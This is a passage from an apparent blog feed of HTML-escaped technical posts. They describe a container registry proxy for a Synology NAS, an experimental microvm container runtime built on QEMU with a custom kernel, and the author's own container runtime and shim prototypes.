&lt;p&gt;There are two caveats with this overall approach, though. First, the proxy
registry should ideally be a local registry because Docker allows (insecure)
local registries by default. Second, the DSM UI has some weird input validation
rules that prevent &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://127.0.0.1:10000&lt;/code&gt; to be accepted as a “valid URL”.
That is unfortunate because this address &lt;em&gt;is&lt;/em&gt; our local registry… We must edit
a configuration file directly on the NAS using SSH (&lt;a href=&quot;https://github.com/willdurand/container-registry-proxy&quot;&gt;more information about that
on GitHub&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Once configured properly, this proxy works reasonably well.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2023/03/synology-registry-setting.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;The list of (Docker) registries in DSM. Both the Docker Hub and the local
registry are configured. The local registry – named “GitHub Registry (Proxied)”
– is in use.&lt;/em&gt;&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2023/03/synology-docker-images.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;The list of (Docker) images in DSM. The first image comes from the GitHub
Registry via the local proxy registry. The other two are from the Docker Hub.
The third/last image is the Container Registry Proxy introduced above.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I am not sure what the future of this small project is going to be since it does
what I want already. Maybe some other known registries have similar issues?  Or
would there be any value in having that kind of proxy for other purposes, e.g.,
statistics, monitoring, etc.?&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Important: this works for me™ but that doesn’t mean all edge cases are handled. This might explain why GitHub isn’t fully compatible with the HTTP API v2 specification yet. I don’t know. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Containers and micro virtual machines</title>
        <link href="https://williamdurand.fr/2022/07/11/containers-and-micro-virtual-machines/"/>
        <updated>2022-07-11T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/07/11/containers-and-micro-virtual-machines</id>
        <content type="html">&lt;p&gt;I wrote &lt;a href=&quot;/2022/06/21/deep-dive-into-containers/&quot;&gt;an article about my deep dive into containers&lt;/a&gt; last
month. As part of this learning journey, I built a prototype named &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md&quot;&gt;Yaman&lt;/a&gt;, an
extremely limited yet functional container manager.&lt;/p&gt;

&lt;script id=&quot;asciicast-vdC2zxvyHSubTHuAPDt3g2T21&quot; src=&quot;https://asciinema.org/a/vdC2zxvyHSubTHuAPDt3g2T21.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;In today’s article, I introduce a new sub-project named &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/microvm/README.md&quot;&gt;microvm&lt;/a&gt;. It’s an
experimental container runtime that uses short-lived Virtual Machines (VMs).&lt;/p&gt;

&lt;p&gt;This isn’t forward-thinking, I developed this new prototype for learning
purposes. &lt;a href=&quot;https://katacontainers.io/&quot;&gt;Kata Containers&lt;/a&gt;, &lt;a href=&quot;https://github.com/containers/krunvm&quot;&gt;krunvm&lt;/a&gt; and &lt;a href=&quot;https://github.com/containers/crun&quot;&gt;crun&lt;/a&gt; (with the help of
&lt;a href=&quot;https://github.com/containers/libkrun&quot;&gt;libkrun&lt;/a&gt; and &lt;a href=&quot;https://github.com/containers/libkrunfw&quot;&gt;libkrunfw&lt;/a&gt;) are production-grade technologies to run
containers inside VMs for better isolation.&lt;/p&gt;

&lt;h2 id=&quot;exploratory-work&quot;&gt;Exploratory work&lt;/h2&gt;

&lt;p&gt;Similar to how others have been &lt;a href=&quot;https://mergeboard.com/blog/2-qemu-microvm-docker/&quot;&gt;running Docker containers inside QEMU
VMs&lt;/a&gt;, I started by tinkering with QEMU’s
&lt;a href=&quot;https://qemu.readthedocs.io/en/latest/system/i386/microvm.html&quot;&gt;microvm&lt;/a&gt; machine. I compiled a custom Linux kernel for it and
wrote my own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt;&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; program. The latter is needed to mimic what a
traditional container runtime does when creating a container from a bundle&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;The biggest unknown at the time was the root file system, which resided on the
host but had to be used within the VM. Creating a disk image (e.g.  &lt;a href=&quot;https://en.wikipedia.org/wiki/Qcow&quot;&gt;qcow2&lt;/a&gt;)
didn’t sound too great: it’s overly complicated and slow. Instead, I used
&lt;a href=&quot;https://gitlab.com/virtio-fs/virtiofsd&quot;&gt;virtiofsd&lt;/a&gt;, a daemon running on the host that can share a folder with a guest
(VM) using &lt;a href=&quot;https://virtio-fs.gitlab.io/&quot;&gt;virtio-fs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For the Linux kernel, I created a &lt;em&gt;minimal&lt;/em&gt; configuration with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make
allnoconfig&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make menuconfig&lt;/code&gt; to enable some options. I spent a lot of time
on this part because I wanted to understand &lt;a href=&quot;https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/config-x86_64&quot;&gt;what I was
configuring&lt;/a&gt;. I recompiled the kernel about 200 times according
to the kernel’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make&lt;/code&gt; output 😅&lt;/p&gt;

&lt;p&gt;Most kernel messages could be hidden with the kernel’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;quiet&lt;/code&gt; option except
when the machine rebooted. I &lt;em&gt;really&lt;/em&gt; wanted to hide all messages unrelated to
the (container) process running in the VM so I did what most people would have
done in this situation: &lt;a href=&quot;https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/patches/002-downgrade-reboot-messages.patch&quot;&gt;I patched the kernel&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Last but not least, I wrote a simple &lt;a href=&quot;https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/init.c&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt; program&lt;/a&gt; to mount some
directories (similar to what I did in &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md&quot;&gt;Yacr&lt;/a&gt;) and read some environment
variables in order to (1) set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname&lt;/code&gt; and (2) execute the container
process. About the latter, the kernel doesn’t expect the special &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt; process
to be terminated, which necessarily happens when the container process has
finished its execution. I &lt;a href=&quot;https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/patches/001-poweroff-when-init-is-killed.patch&quot;&gt;patched the kernel to reboot instead&lt;/a&gt; 🙈&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt; program reads environment variables because the Linux kernel passes
unknown &lt;a href=&quot;https://www.kernel.org/doc/html/v4.14/admin-guide/kernel-parameters.html&quot;&gt;kernel parameters&lt;/a&gt; to it&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. This is super convenient because QEMU
lets us configure the kernel’s command line using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-append&lt;/code&gt; option. This is
how the container process (defined in the &lt;a href=&quot;https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config.md&quot;&gt;container configuration&lt;/a&gt;)
is passed to the VM for instance.&lt;/p&gt;

&lt;p&gt;At this point, I could start a VM using my own kernel and get an interactive
shell 🎉&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(host) $ make run BUNDLE=/tmp/alpine-bundle CID=alpine-ctr
/ # uname -a
Linux alpine-ctr 5.15.47-willdurand-microvm #1 SMP Fri Jul 9 19:08:45 UTC 2022 x86_64 Linux
/ # hostname
alpine-ctr
/ # ls
bin    etc    lib    mnt    proc   run    srv    tmp    var
dev    home   media  opt    root   sbin   sys    usr
/ #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The custom kernel, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt; program and the QEMU/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;virtiofsd&lt;/code&gt; configs seemed to
work fine. Phew! This was &lt;em&gt;just&lt;/em&gt; QEMU running in my terminal, though.&lt;/p&gt;

&lt;p&gt;Obviously, I couldn’t stop there…&lt;/p&gt;

&lt;h2 id=&quot;the-microvm-runtime&quot;&gt;The MicroVM runtime&lt;/h2&gt;

&lt;p&gt;I moved &lt;a href=&quot;https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/microvm/Makefile#L89-L113&quot;&gt;the few commands I had in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Makefile&lt;/code&gt;&lt;/a&gt; to a new Go CLI
application named &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/microvm/README.md&quot;&gt;microvm&lt;/a&gt;, which partially implements the OCI runtime
specification. This highly experimental container runtime is fully integrated
with &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md&quot;&gt;my own container manager&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s consider the following example, which prints a short &lt;a href=&quot;https://wttr.in&quot;&gt;weather
report&lt;/a&gt; using two containers:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;wttr.in&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;  | sudo yaman c run --rm --interactive docker.io/library/bash -- xargs wget -qO /dev/stdout \
  | sudo yaman c run --interactive --runtime microvm quay.io/aptible/alpine -- head -n 7
Weather report: Brussels, Belgium

     \  /       Partly cloudy
   _ /&quot;&quot;.-.     17 °C
     \_(   ).   ↘ 24 km/h
     /(___(__)  10 km
                0.0 mm
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From a user perspective, the fact that the second container has been created
with a virtual machine is an implementation detail, and that’s what I wanted to
achieve with this work.&lt;/p&gt;

&lt;p&gt;Under the hood, the following steps are performed:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;A first &lt;em&gt;interactive&lt;/em&gt; container is created with the default runtime
(&lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md&quot;&gt;Yacr&lt;/a&gt;). This container uses the &lt;a href=&quot;https://hub.docker.com/_/bash&quot;&gt;official Bash Docker
image&lt;/a&gt;. It reads the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wttr.in&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt; (that’s
why it has to be interactive) and executes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget -qO /dev/stdout wttr.in&lt;/code&gt;
(which behaves like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl wttr.in&lt;/code&gt; but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; wasn’t installed in the Docker
image).&lt;/li&gt;
  &lt;li&gt;The output of the first container is redirected to the second container. The
first container exits and gets automatically removed because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--rm&lt;/code&gt; was
specified.&lt;/li&gt;
  &lt;li&gt;The second container is also interactive but it uses the microvm runtime and
an &lt;a href=&quot;https://quay.io/repository/aptible/alpine&quot;&gt;Alpine image from Quay.io&lt;/a&gt;. When the microvm runtime is
invoked to create the container, it creates a virtual machine using QEMU and
spawns a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;virtiofsd&lt;/code&gt; process to share the root filesystem with this VM.&lt;/li&gt;
  &lt;li&gt;In the VM, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt; process executes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head -n 7&lt;/code&gt;, which returns the first 7
lines of data received on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt;. The result is printed on the host’s
standard output (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdout&lt;/code&gt;) and the second container exits.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--rm&lt;/code&gt; option was not specified when we ran the second container, meaning we
can still retrieve it by listing all the containers. With the container ID, we
can fetch the logs and inspect the container (until we delete it):&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;yaman c &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;CONTAINER ID                       IMAGE                           COMMAND     CREATED          STATUS                      PORTS
26127b728da94fd7a184549f2c0f586c   quay.io/aptible/alpine:latest   head -n 7   15 seconds ago   Exited (0) 12 seconds ago

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;yaman c logs 26127b728da94fd7a184549f2c0f586c
&lt;span class=&quot;go&quot;&gt;Weather report: Brussels, Belgium

     \  /       Partly cloudy
   _ /&quot;&quot;.-.     +22(24) °C
     \_(   ).   ↓ 7 km/h
     /(___(__)  10 km
                0.0 mm

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;yaman c inspect 26127b728da94fd7a184549f2c0f586c | jq &lt;span class=&quot;s1&quot;&gt;&apos;.Shim.Runtime&apos;&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&quot;microvm&quot;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course the example above was using &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md&quot;&gt;Yaman&lt;/a&gt; but we could also reproduce the
same example&lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; with our good ol’ Docker friend 😉&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;wttr.in&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;  | docker run --interactive bash xargs wget -qO /dev/stdout \
  | docker run --runtime=microvm --interactive alpine head -n 7
Unable to find image &apos;bash:latest&apos; locally
Unable to find image &apos;alpine:latest&apos; locally
Digest: sha256:686d8c9dfa6f3ccfc8230bc3178d23f84eeaf7e457f36f271ab1acc53015037c
Status: Downloaded newer image for alpine:latest
Digest: sha256:b3abe4255706618c550e8db5ec0875328333a14dbf663e6f1e2b6875f45521e5
Status: Downloaded newer image for bash:latest
Weather report: Freiburg im Breisgau, Germany

      \   /     Sunny
       .-.      15 °C
    ― (   ) ―   ↙ 4 km/h
       `-’      10 km
      /   \     0.0 mm

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;docker ps &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;CONTAINER ID   IMAGE     COMMAND       CREATED             STATUS                          PORTS     NAMES
5976d2c7fe86   alpine    &quot;head -n 7&quot;   About a minute ago  Exited (0) About a minute ago             jolly_shannon

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;docker inspect 5976d2c7fe86 | jq &lt;span class=&quot;s1&quot;&gt;&apos;.[0].HostConfig.Runtime&apos;&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;&quot;microvm&quot;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, what if we want to spawn an interactive shell? Well, that’s possible too!&lt;/p&gt;

&lt;script id=&quot;asciicast-hJM4rCpJqZiKparZNh9CyDpZs&quot; src=&quot;https://asciinema.org/a/hJM4rCpJqZiKparZNh9CyDpZs.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;Unfortunately, this terminal mode does not fully work with Docker (yet) 😞&lt;/p&gt;

&lt;p&gt;It turns out that handling IOs isn’t trivial, especially when a virtual machine
is involved. The microvm runtime uses some tricks to redirect IOs correctly
(e.g. it spawns a &lt;a href=&quot;https://github.com/willdurand/containers/blob/ac6e8c93bec1d6188814049306c7cbad889297f9/cmd/microvm/redirect_stdio.go&quot;&gt;special process&lt;/a&gt; and uses &lt;a href=&quot;https://man7.org/linux/man-pages/man7/fifo.7.html&quot;&gt;named pipes&lt;/a&gt; on
the QEMU side) but the terminal mode is handled differently&lt;sup id=&quot;fnref:5&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:5&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;In terms of limitations, the virtual machines created by the microvm runtime
don’t have any network access at the moment. In fact, the kernel is built
without its network stack. This is probably something I’ll add in the future.&lt;/p&gt;

&lt;p&gt;As for the next steps, I’d like to play with &lt;a href=&quot;https://www.redhat.com/en/topics/virtualization/what-is-KVM&quot;&gt;KVM&lt;/a&gt;, which none of my “Linux
environments” give me access to at the moment. I suppose that would be better
performance-wise although I haven’t considered performances at all (good thing
it’s an educational project, hehe).&lt;/p&gt;

&lt;p&gt;Overall, I am pretty happy with the results and I learned a few things. It was
especially fun to play with the Linux kernel again!&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;

      &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init(1)&lt;/code&gt; is the very first userspace program executed by the Linux kernel
when it has finished its initialization. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;

      &lt;p&gt;A container bundle (or “OCI bundle”) is a folder that contains all the
information needed to run containers. It is usually derived from an “image”
(like a “Docker image”). A bundle must contain a &lt;a href=&quot;https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config.md&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.json&lt;/code&gt;&lt;/a&gt;
file and the container’s root filesystem (which is a folder usually named
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rootfs&lt;/code&gt;). &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;

      &lt;p&gt;Only unknown kernel parameters that do not contain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt; are passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt;.
Those with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; are passed as environment variables, the others are passed as
arguments (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argv&lt;/code&gt;). &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;It is possible to fully reproduce the example with &lt;a href=&quot;https://github.com/willdurand/containers/tree/ac6e8c93bec1d6188814049306c7cbad889297f9/extras/docker/scripts&quot;&gt;these scripts&lt;/a&gt;. &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:5&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;The terminal mode works fine with Yaman and I only noticed the problem
with Docker when I wrote this blog post, sigh. &lt;a href=&quot;#fnref:5&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Deep dive into containers</title>
        <link href="https://williamdurand.fr/2022/06/21/deep-dive-into-containers/"/>
        <updated>2022-06-21T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/06/21/deep-dive-into-containers</id>
        <content type="html">&lt;p&gt;It (almost) all started with &lt;a href=&quot;https://www.youtube.com/watch?v=Utf-A4rODH8&quot;&gt;this talk from Liz Rice&lt;/a&gt; that I
found in my Pocket list. I spent some time on a Sunday afternoon to write the
same code and decided to study more in-depth. I wanted to better understand what
was behind containers and how the different technologies interacted with each
other.&lt;/p&gt;

&lt;p&gt;That was a month ago or so and things got out of control pretty quickly 😅 Given
there are many talks and articles about containers already, this article is more
of a “Show and Tell” in which I describe what I’ve poked around.&lt;/p&gt;

&lt;h2 id=&quot;yacr-yet-another-container-runtime&quot;&gt;Yacr: Yet another container runtime&lt;/h2&gt;

&lt;p&gt;At this level, there is no concept of images, registries, volumes, etc. An &lt;a href=&quot;https://opencontainers.org/&quot;&gt;Open
Container Initiative&lt;/a&gt; (OCI)-compliant runtime takes an identifier and a
“bundle” as input. A bundle is a folder that contains a
&lt;a href=&quot;https://github.com/opencontainers/runtime-spec/blob/v1.0.2/config.md&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.json&lt;/code&gt;&lt;/a&gt; file and a root filesystem (“rootfs”).&lt;/p&gt;

&lt;p&gt;I started by updating the code I had initially written to build a minimal (and
insecure&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;) runtime named &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md&quot;&gt;Yacr&lt;/a&gt;. I learned a lot of low-level information
and I was super happy when &lt;a href=&quot;https://github.com/willdurand/containers/blob/11aa764816f040b8dd1306edc1c20cee257d7961/cmd/yacr/README.md#getting-started-with-docker&quot;&gt;Docker was able to use my very own
runtime&lt;/a&gt;. Yacr works &lt;a href=&quot;https://github.com/willdurand/containers/tree/11aa764816f040b8dd1306edc1c20cee257d7961/cmd/yacr#getting-started-with-containerd&quot;&gt;with containerd&lt;/a&gt;, too!&lt;/p&gt;

&lt;p&gt;As for the implementation, I followed the &lt;a href=&quot;https://github.com/opencontainers/runtime-spec/&quot;&gt;runtime spec&lt;/a&gt;, which is a rather
high-level description of a runtime and not really a specification &lt;em&gt;per se&lt;/em&gt;. In
fact, the runtime I wrote had to be “&lt;a href=&quot;https://github.com/opencontainers/runc/&quot;&gt;runc&lt;/a&gt;-compliant” in order to be used by
other tools (&lt;a href=&quot;https://github.com/opencontainers/runc/&quot;&gt;runc&lt;/a&gt; is the reference implementation of the runtime spec).&lt;/p&gt;

&lt;p&gt;I then looked into &lt;a href=&quot;https://container42.com/2022/01/10/shim-shiminey-shim-shiminey/&quot;&gt;container shims&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;yacs-yet-another-container-shim&quot;&gt;Yacs: Yet another container shim&lt;/h2&gt;

&lt;p&gt;When a runtime starts a container, it often uses &lt;a href=&quot;https://man7.org/linux/man-pages/man3/exec.3.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec(3)&lt;/code&gt;&lt;/a&gt; to replace
itself with the actual container process. This is a problem because (1) standard
input/output are no longer (easily) available, and (2) it is difficult to know
when the process exits and why.&lt;/p&gt;

&lt;p&gt;While it might be possible to poll &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc&lt;/code&gt; to solve (2), that wouldn’t solve
(1). We could make the runtime a long-running process but that does not seem
ideal either. The &lt;a href=&quot;https://groups.google.com/g/docker-dev/c/zaZFlvIx1_k&quot;&gt;concept of container shims&lt;/a&gt; has been introduced to solve
these two problems (and more) in an elegant manner.&lt;/p&gt;

&lt;p&gt;Shims sit between a container manager and a container runtime. In principle, a
shim invokes an OCI runtime to create/start containers. In addition, shims solve
the two problems stated above by:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;becoming a &lt;a href=&quot;https://man7.org/linux/man-pages/man2/prctl.2.html&quot;&gt;subreaper&lt;/a&gt;, which allows them to reap (adopt) any child
processes created by their own child processes (&lt;em&gt;e.g.&lt;/em&gt; the runtime). This, in
turns, allows shims to be notified when child processes exit&lt;/li&gt;
  &lt;li&gt;keeping open the container’s input/output. For instance, my implementation
creates FIFOs (named pipes) so that it is possible to interact with the
container process at any time&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The prototype I implemented is named &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacs/README.md&quot;&gt;Yacs&lt;/a&gt; and it uses the &lt;a href=&quot;https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md&quot;&gt;Yacr&lt;/a&gt; runtime
by default. Yacs &lt;em&gt;should&lt;/em&gt; work with any OCI runtime but I only tried with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yacr&lt;/code&gt;
and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;runc&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;example&quot;&gt;Example&lt;/h3&gt;

&lt;p&gt;Yacs provides an HTTP API &lt;em&gt;via&lt;/em&gt; a unix socket because that was easy to
implement. In the example below, we create a new container with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yacs&lt;/code&gt;, which
will invoke the runtime (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yacr&lt;/code&gt;) to create the container.&lt;/p&gt;

&lt;p&gt;As per the &lt;a href=&quot;https://github.com/opencontainers/runtime-spec/&quot;&gt;runtime spec&lt;/a&gt;, the container is only created, not started yet,
which is why we see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yacr create container&lt;/code&gt; process under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yacs&lt;/code&gt; process
in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps&lt;/code&gt; output. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yacr&lt;/code&gt; process waits for the “start” command.&lt;/p&gt;

